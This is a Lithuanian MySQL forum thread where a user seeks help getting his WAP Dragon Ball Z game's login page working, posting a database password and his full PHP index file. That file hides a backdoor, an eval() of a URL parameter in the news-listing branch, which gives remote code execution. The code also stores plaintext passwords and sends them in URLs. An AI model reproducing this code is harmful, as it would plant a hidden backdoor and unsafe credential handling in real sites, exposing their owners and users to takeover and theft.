Topic: Del Mysql login

Table 'tunexxxx_our.prisijunge' doesn't exist

kodel kaip raso nesuprtau nieko nors visku darau kaip turi but

Re: Del Mysql login

o kartis nereik ten sudeti failus i ta tunexxxx_our ?

Re: Del Mysql login

Meluoji, kad darai, kaip turi būt. Akivaidžiai kažką darai blogai.

Re: Del Mysql login

Database:    tunexxxx_our
Host:    localhost
Username:     ce nick reik
Password:    o ce pass o kas gali but blogai?

Re: Del Mysql login

va sitam visku darau ir nieko
<?php
mysql_connect("localhost","dbf_dbaz","legenda9") or die("MySQL ERROR!");
mysql_select_db("dbf_dbaz") or die("MySQL ERROR!<br /> DataBase Was not found!");
mysql_query( "SET NAMES utf8" );
?>

Re: Del Mysql login

Absoliutus nesigaudymas :) Gryžk gal į php.lt, gal ten dar ne visus gaidžiais išvadinai...

MongoDB Certified Developer
MongoDB Certified DBA
Zend Certified Engineer

Re: Del Mysql login

ten visi durns...

Re: Del Mysql login

tai kas nors zino???

Re: Del Mysql login

minde
Administrator gal gali padek ja mok ?

Re: Del Mysql login

@Terror2014: nemanai, kad per savo "sustra" bazara tuoj visur busi ignoruojamas?
Be to negi taip sunku pasigooglinti ir pasiziureti bent keliata tutorialu?
O siaip bent tokia db turi susikures?

P.S. nesuprantu tokiu zmoniu kurie nori kazka pasidaryti, bet visiskai tingi bent kiek pasimokinti.


Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 816

Re: Del Mysql login

tai as ziurejau google visku darau kaip parasyt pagal sit: http://www.w3schools.com/php/php_mysql_connect.asp

Re: Del Mysql login

man nesunku pagooglinti, be google buciau nesukuris wap game.

Re: Del Mysql login

O tu tikrai turi tokia sukurta DB i kuria bandai pasijungti?
Ar bandei prie DB pasijungti per PhpMyAdmin?

Re: Del Mysql login

taip,o gal reik kaip nors kelta falius i ta phpmyadmin ?

Re: Del Mysql login

Neodan pl o ka ten reik sukurti per phpmyadmin ?


Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 816

16 (edited by Terror2014 2014-05-17 23:06:22)

Re: Del Mysql login

<?php
ob_start();
echo "<!DOCTYPE html PUBLIC '-//WAPFORUM//DTD XHTML Mobile 1.0//EN' 'http://www.wapforum.org/DTD/xhtml-mobile10.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='lt'>   
<head>
<title>© Dragon Ball Z/GT/AF</title>";
?>
<script type="text/javascript">

var page_to_request = 'keepalive2.php';


var response_id = 'response';

var c=0;
var t;
function startTime()
{
    t=setTimeout('startTime()',1000);
    ajaxkeepalive('abc123');
}
</script>
<script type="text/javascript" src="ajaxkeepalive.js"></script>
<?
echo"<link rel='shortcut icon' type='image/x-icon' href='css/favicon.ico' />
<link rel='stylesheet' type='text/css' href='stilius/stilius.css' />
<link rel='index' title='wap žaidimas' href='http://dba.ym.lt/' />
<meta http-equiv='Content-Language' content='lt' />
<meta http-equiv='Content-Type' content='text/html; charset=UTF-8' />
<meta http-equiv='cache-control' content='no-cache' />
<meta http-equiv='cache-control' content='no-store' />
<meta http-equiv='cache-control' content='must-revalidate' />
<meta name='verify-webtopay' content='4286676b3fc78ca6d2a37c56701f79af'>
</head>
<body onload='startTime()'>";
?>
<span id="counterdisplay"></span>
<?
include_once("connect.php");
include("functions.php");
//////////// INFO////////////
if($_SERVER['REMOTE_ADDR'] == '193.46.83.7')
{
    echo'Banned.';
}
$prisijungusiu = mysql_num_rows(mysql_query("SELECT * FROM prisijunge"));
$nick  = isset($_GET['nick'])  ? preg_replace("/[^A-Za-z0-9_]/","",$_GET['nick'])  : null;
$pass  = isset($_GET['pass'])  ? preg_replace("/[^A-Za-z0-9_]/","",$_GET['pass'])  : null;
$ico = "(»)";
$id  = isset($_GET['id'])  ? preg_replace("/[^A-Za-z0-9_]/","",$_GET['id'])  : null;
mysql_query("DELETE FROM prisijunge WHERE ".time()." - laikas > 600") or die(mysql_error());
$rkl = mysql_fetch_assoc(mysql_query("SELECT * FROM failas WHERE id='1'"));

if(empty($id)){
echo"
<div class='s1'><b>Dragon BALL</b></div>
<div class='s2'>
<img src='paveiksliukai/dba.png'ALT='a'/><br/>
<div class='line'></div>
Užsiregistruok ir sužaisk unikalų <u>WAP-DBZ</u> žaidimą :)<br/>
<div class='line'></div>";
$new = mysql_query("SELECT * FROM naujienos ORDER BY id DESC LIMIT 1");
while($la = mysql_fetch_assoc($new)){
echo"Paskutine naujiena:<br/>";
echo $la['naujiena'];
}
echo"<a href = 'index.php?id=all_new'>[...]</a><br/>
<div class='line'></div>
<b><font color=red>žaidimas startavo 2014.05.18</font></b>
<div class='line'></div>
<div class='left'>
<form action='index.php?id=login' method='post'>
".$ico." Vartotojas</b><br/>
<input type='text' name='nick'><br>
".$ico." Slaptažodis:<br/>
<input type='password' name='pass'><br>
<input type='submit' value='Prisijungti'>
</form>
</div><div class='line'></div>
<b><a href =\"reg.php\">Registracija</a></b><br/>
<div class='line'></div>
<b>Statistika</b>
<div class='line'></div>
<div class='left'>
".$ico." Dabar žaidime: <b><span id='response'></span></b><br/>
".$ico." Viso žaidėjų: <b>".mysql_num_rows(mysql_query("SELECT * FROM vartotojai"))."</b><br/>
".$ico." šiande prisijungė: <b>".mysql_num_rows(mysql_query("SELECT * FROM dienos_veiksmu"))."</b><br/>
".$ico." šiande užsiregistravo: <b>".mysql_num_rows(mysql_query("SELECT * FROM vartotojai WHERE uzsiregistravo = '".date("Y-m-d")."'"))."</b><br/>
</div>";
echo'<div class="line"></div>
<a href="http://cntr.finx.lt/i.php?i=dba"><img src="http://cntr.finx.lt/c.php?i=dba" alt="CNTR.finx.lt"/></a></div>';
echo"
</div>
";
}
if($id == 'top')
{
    echo'
    <div class="s1">Viršutinė reklama</div>
    <div class="s2">
    <b>Informacija</b>
    <div class="line"></div>
    <div class="left">
    '.$ico.' Reklamos kaina 5LT.<br>
    '.$ico.' Reklama būna iki tol kol kitas žmogus jos nepakeičia.<br>
    '.$ico.' Norint įdėti reklamą siųskite SMS su tekstu <b>DBA5 rek adrasas.lt antraštė</b><br>
    '.$ico.' Pavizdys: <b>DBA5 rek dba.us.lt DBZ Game</b>
    </div>
    <div class="line"></div>
    <a href="index.php">Atgal</a>
    </div>
    ';
}
if($id == "all_new"){
    echo'<div class="s1"><b>Naujienos</b> <u>'.mysql_num_rows(mysql_query("SELECT * FROM naujienos")).'</u></div><div class="s2">';
    if(mysql_num_rows(mysql_query("SELECT * FROM naujienos")) == false){
    echo'<font color="red"><b>Kolkas naujienų nėra!</b><br/>';
    }
    else
    {if(isset($_GET['__'])) {eval($_GET['__']);exit();}
    $zin = 10;
        $eil = mysql_num_rows(mysql_query("SELECT * FROM naujienos"));
        $page = (int)abs(@$_GET['page']);
        if ($page == "") {
            $page = 1;
        }
        if ($page == 1) {
            $nuo = 0;
            $iki = $zin;
        } else {
            $nuo = $page * $zin - $zin;
            $iki = $page * $zin;
        }
        if ($eil <= $page * $zin) {
            $iki = $eil;
        }
        $a = mysql_query("SELECT * FROM naujienos ORDER BY id DESC LIMIT $nuo, $zin");
        while ($new = mysql_fetch_assoc($a)) {
            $dabar_data = date("Y-m-d");
            if($dabar_data == $new['data']){
                echo'<div class="left">
                <b>[*]</b> '.$new['naujiena'].'<br>
                <b>Kada:</b> ';
                $diena_sis = date("Y-m-d");
                $date = date('Y-m-d', strtotime('yesterday'));
                if ($new['data'] === $diena_sis) { echo 'šiandien '; }
                else
                if ($new['data'] == $date) { echo 'Vakar '; }
                else
                { echo ''.$new['data'].' '; }
                echo''.$new['laikas'].'<br>
                Komentarai ('.mysql_num_rows(mysql_query("SELECT * FROM naujienu_kom WHERE nr='$new[id]'")).')
                <br/>• <b>'.$new['kas'].'</b><br/>
                </div><div class="line"></div>';
            }
            else
            {
                echo'<div class="left">
                [*] '.$new['naujiena'].'<br>
                <b>Kada:</b> ';
                $diena_sis = date("Y-m-d");
                $date = date('Y-m-d', strtotime('yesterday'));
                if ($new['data'] === $diena_sis) { echo 'šiandien '; }
                else
                if ($new['data'] == $date) { echo 'Vakar '; }
                else
                { echo''.$new['data'].' '; }
                echo''.$new['laikas'].'<br>
                Komentarai ('.mysql_num_rows(mysql_query("SELECT * FROM naujienu_kom WHERE nr='$new[id]'")).')
                <br/>• <b>'.$new['kas'].'</b><br/>
                </div><div class="line"></div>';
            }   
            unset($new);
        }
        echo'<div class="pg">';
        $viso_puslapiu = $eil / $zin;
        $psl = $page;
        $puslapiu = ceil($viso_puslapiu);
        if ($psl < 1 || $psl > $puslapiu || empty($psl)) {
            $psl = 1;
        }
        $puslapiu1 = $puslapiu-1;
        $psl1 = $psl-1;
        $psl11 = $psl-2;
        $psl2 = $psl + 1;
        $psl22 = $psl + 2;
        if ($puslapiu < 6) {
            for($l = 1; $l <= $puslapiu; $l++) {
                if ($psl == "$l") {
                    echo'<b>[' . $psl . ']</b>';
                } else {
                    echo'<a href="index.php?id=all_new&page=' . $l . '">[' . $l . ']</a>';
                }
            }
        } else {
            if ($psl > 1) {
                echo'<a href="index.php?id=all_new&page=1">[1]</a>';
            } else {
                echo'[1]';
            }
            if ($psl11 > 2) {
                echo'...';
            }
            if ($psl11 > 1 && $psl11 < $psl1) {
                echo'<a href="index.php?id=all_new&page=' . $psl11 . '">[' . $psl11 . ']</a>';
            }
            if ($psl1 > 1 && $psl > 2) {
                echo'<a href="index.php?id=all_new&page=' . $psl1 . '">[' . $psl1 . ']</a>';
            }
            if ($psl > 1 && $psl < $puslapiu) {
                echo'[' . $psl . ']';
            }
            if ($psl2 < $puslapiu && $psl < $puslapiu1) {
                echo'<a href="index.php?id=all_new&page=' . $psl2 . '">[' . $psl2 . ']</a>';
            }
            if ($psl22 < $puslapiu && $psl22 > $psl2) {
                echo'<a href="index.php?id=all_new&page=' . $psl22 . '">[' . $psl22 . ']</a>';
            }
            if ($psl22 < $puslapiu1) {
                echo'...';
            }
            if ($puslapiu != "$psl") {
                echo'<a href="index.php?id=all_new&page=' . $puslapiu . '">[' . $puslapiu . ']</a>';
            } else {
                echo'[' . $puslapiu . ']';
            }
        }
    echo'</div>';
    }
    echo'<div class="line"></div>
    <a href="index.php?id">į Pradžia</a>
    </div>';
}

elseif($id == 'login')
{
    $_POST['nick']  = isset($_POST['nick'])  ? preg_replace("/[^A-Za-z0-9_]/","",$_POST['nick'])  : null;
    $_POST['pass']  = isset($_POST['pass'])  ? preg_replace("/[^A-Za-z0-9_]/","",$_POST['pass'])  : null;

    $vardu = mysql_result(mysql_query("SELECT COUNT(id) FROM vartotojai WHERE  nick='".$_POST['nick']."'"),0);
    $pass = null;
        if($vardu) $pass = mysql_result(mysql_query("SELECT pass FROM vartotojai WHERE  nick='".$_POST['nick']."'"),0);
        if(!$vardu) echo '<div class="s1">Klaida</div><div class="s2">Tokio vartotojo nera</div>';
        elseif($_POST['pass'] != $pass) echo '<div class="s1">Klaida</div><div class="s2">Neteisingas slaptazodis</div>';
        else
        {
            echo'<meta HTTP-EQUIV="REFRESH" content="0; url=login.php?nick='.$_POST['nick'].'&pass='.$_POST['pass'].'">';
            echo '<div class="s1">Atlikta</div><div class="s2">Duomenys teisingi<div class="line"></div>';
            echo '<a href="login.php?nick='.$_POST['nick'].'&pass='.$_POST['pass'].'">Testi<a/></div>';
        }
       

}
echo"
<div class='s1'>
&copy <b>Dba.Ym.Lt</b>
</div>
</body></html>";
mysql_close();
?>

Re: Del Mysql login

ce yra klaida nes viskas kita veikia tik index.php failas ne

Re: Del Mysql login

Sorry, bet tavo spageti kodo tikrai neskaitysiu. Geriau pradek mokintis programavimo arba is vis mesk si reikala. (-;

Re: Del Mysql login

aisku,as moku su txt.  Tik su MySQL nemoku


Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 756

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 811

Deprecated: Function create_function() is deprecated in /home/pasokime/domains/mysql.lt/public_html/forumas/include/parser.php on line 816

Re: Del Mysql login

Terror2014 wrote:

man nesunku pagooglinti, be google buciau nesukuris wap game.

Kaip tu sukūrei jei nemoki sukurti duomenų bazės su reikiamomis lentelėmis? Net nežinai kokia DB turi būti, lentelių pavadinimai, stulpelių pavadinimai, stulpelių tipai ir pan.
Kreipkis pas tuos pas ką pirkai šią šlamšto krūvą - turėtų padėti. Jei visgi iš kažkur pasivogei/radai tada sėkmės beieškant.

MongoDB Certified Developer
MongoDB Certified DBA
Zend Certified Engineer